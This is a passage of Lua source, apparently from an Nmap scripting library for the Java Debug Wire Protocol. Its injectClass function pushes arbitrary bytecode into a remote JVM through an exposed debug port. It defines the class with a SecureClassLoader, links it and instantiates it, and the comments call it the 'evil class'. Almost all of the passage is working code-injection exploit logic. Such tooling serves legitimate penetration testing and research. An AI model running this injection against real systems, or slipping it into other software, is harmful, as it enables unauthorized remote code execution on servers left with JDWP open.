refTypeTag = nil,
typeID = nil
}
_,reflected_type.refTypeTag, reflected_type.typeID = bin.unpack(">CL",data)
return true, reflected_type
end
--- Helper function to find a method ID by its name.
--
-- @param socket Socket to use for communication.
-- @param class ID of the class whose method we seek.
-- @param methodName Name of the method.
-- @param skipFirst Skip first found method.
function findMethod(socket,class,methodName,skipFirst)
local methodID
local status, methods = getMethodsWithGeneric(socket,0,class)
if not status then
return false
end
for _, method in ipairs(methods) do -- find first constructor and first defineClass() method
stdnse.print_debug(2,"Method name: %s", method.name)
if methodID == nil then
if string.find(method.name,methodName) then
if skipFirst then
skipFirst = false
else
methodID = method.methodID
end
end
end
end
return methodID
end
--- Tries to inject specified bytes as a java class and create its instance.
--
-- Returns a table containing following fields:
-- * 'id' Injected class reference ID.
-- * 'instance' Inected calss' instance reference ID.
-- * 'thread' Thread in which the class was injected and instantiated.
--
-- @param socket Socket to use for communication.
-- @param class_bytes String of bytes of a java class file to inject.
-- @return (status,injectedClass) If status is false, an error message is returned, else returns a table with injected class info.
function injectClass(socket,class_bytes)
local classes,status
-- find byte array class id needed to create new array to load our bytecode into
status,classes = getAllClassesWithGeneric(socket,0)
if not status then
stdnse.print_debug("getAllClassesWithGeneric failed: %s", classes)
return false
end
local byteArrayID
for _,class in ipairs(classes) do
if string.find(class.signature,"%[B") then
byteArrayID = class.typeID
break
end
end
if byteArrayID == nil then
stdnse.print_debug("finding byte arrray id failed")
return false
end
stdnse.print_debug("Found byte[] id %d",byteArrayID)
-- find SecureClassLoader id by signature
status, classes = getClassBySignature(socket,0,"Ljava/security/SecureClassLoader;")
if not status then
return false
end
local secureClassLoader = classes[1].referenceTypeID
stdnse.print_debug("Found SecureClassLoader id %d",secureClassLoader)
-- find SecureClassLoader() constructor
local constructorMethodID = findMethod(socket,secureClassLoader,"<init>",true)
-- find ClassLoader id by signature
status, classes = getClassBySignature(socket,0,"Ljava/lang/ClassLoader;")
if not status then
return false
end
local classLoader = classes[1].referenceTypeID
stdnse.print_debug("Found ClassLoader id %d",classes[1].referenceTypeID)
-- find ClassLoader's defineClass() method
local defineClassMethodID = findMethod(socket,classLoader,"defineClass",false)
-- find ClassLoader's resolveClass() method
local resolveClassMethodID = findMethod(socket,classLoader,"resolveClass",false)
if constructorMethodID == nil or defineClassMethodID == nil or resolveClassMethodID == nil then
stdnse.print_debug("Either constructor, defineClass or resolveClass method could not be found %s,%s,%s", type(constructorMethodID), type(defineClassMethodID),type(resolveClassMethodID))
return false
end
-- create array to load bytecode into
local arrayID
status, arrayID = newArrayInstance(socket,0,byteArrayID,#class_bytes)
if not status then
stdnse.print_debug("New array failed: %s", arrayID)
return false
end
stdnse.print_debug("Created new byte array of length %d",#class_bytes)
-- set array values
local temp
status, temp = setArrayValues(socket,0,arrayID,0,class_bytes)
if not status then
stdnse.print_debug("Set values failed: %s", temp)
return
end
stdnse.print_debug("Set array values to injected class bytes")
-- get main thread id
-- in order to load a new class file, thread must be suspended by an event
-- so we set it to singlestep, let it run and it get suspended right away
local threads
status,threads = getAllThreads(socket,0)
if not status then
stdnse.print_debug("get threads failed: %s", threads)
return false
end
local main_thread
local eventID
stdnse.print_debug("Looking for main thread...")
for _,thread in ipairs(threads) do
local thread_name
status, thread_name = getThreadName(socket,0,thread)
if not status then
stdnse.print_debug("getThreadName failed: %s", thread_name)
return false
end
if thread_name == "main" then
stdnse.print_debug("Setting singlesteping to main thread.")
status, eventID = setThreadSinglestep(socket,0,thread)
main_thread = thread
break
end
end
if main_thread == nil then
stdnse.print_debug("couldn't find main thread")
return false
end
-- to trigger the singlestep event, VM must be resumed
stdnse.print_debug("Resuming VM and waiting for single step event from main thread...")
local status, _ = resumeVM(socket,0)
-- clear singlestep since we need to run our code in this thread and we don't want it to stop after each instruction
clearThreadSinglestep(socket,0,eventID)
stdnse.print_debug("Cleared singlesteping from main thread.")
-- instantiate new class loader
local class_loader_instance
status, class_loader_instance = newClassInstance(socket,0,secureClassLoader,main_thread,constructorMethodID,0,nil)
if not status then
stdnse.print_debug("newClassInstance failed: %s", class_loader_instance)
return false
end
stdnse.print_debug("Created new instance of SecureClassLoader.")
local injectedClass
-- invoke defineClass with byte array that contains our bytecode
local defineClassArgs = bin.pack(">CLCiCi",0x5b,arrayID,0x49,0,0x49,#class_bytes) -- argument tags taken from http://docs.oracle.com/javase/6/docs/technotes/guides/jni/spec/types.html#wp9502
stdnse.print_debug("Calling secureClassLoader.defineClass(byte[],int,int) ...")
status, injectedClass = invokeObjectMethod(socket,0,class_loader_instance,main_thread,secureClassLoader,defineClassMethodID,3,defineClassArgs)
if not status then
stdnse.print_debug("invokeObjectMethod failed: %s", injectedClass)
end
-- resolve (Java's way of saying link) loaded class
status, _ = invokeObjectMethod(socket,0,class_loader_instance,main_thread,secureClassLoader,resolveClassMethodID,1,injectedClass) -- call with injectedClass which still has a tag
if not status then
stdnse.print_debug("invokeObjectMethod failed:")
end
-- extract the injected class' ID
local tag,injectedClassID
_,tag,injectedClassID = bin.unpack(">CL",injectedClass)
-- our class is now injected, but we need to find it's methods by calling Class.getMethods() on it
-- and for that we need its runtime_type which is Class
local runtime_type
status, runtime_type = getRuntimeType(socket,0,injectedClassID) -- should be Class
-- find the getMethods() id
local getMethodsMethod = findMethod(socket,runtime_type,"getMethods",false)
status, _ = invokeObjectMethod(socket,0,injectedClassID,main_thread,runtime_type,getMethodsMethod,0,nil)
stdnse.print_debug("New class defined. Injected class id : %d",injectedClassID)
local sig, reflected_type
status, sig = getSignatureWithGeneric(socket,0,injectedClassID)
stdnse.print_debug("Injected class signature: %s", sig)
status, reflected_type = getReflectedType(socket,0,injectedClassID)
-- find injected class constructor
local injectedConstructor = findMethod(socket,injectedClassID,"<init>",false)
if injectedConstructor == nil then
stdnse.print_debug("Couldn't find either evil method or constructor")
return false
end
-- instantiate our evil class
local injectedClassInstance
status, injectedClassInstance = newClassInstance(socket,0,injectedClassID,main_thread,injectedConstructor,0,nil)
if not status then
return false, injectedClassInstance
end
local injected_class = {
id = injectedClassID,
instance = injectedClassInstance,
thread = main_thread
}
return true, injected_class
end
return _ENV;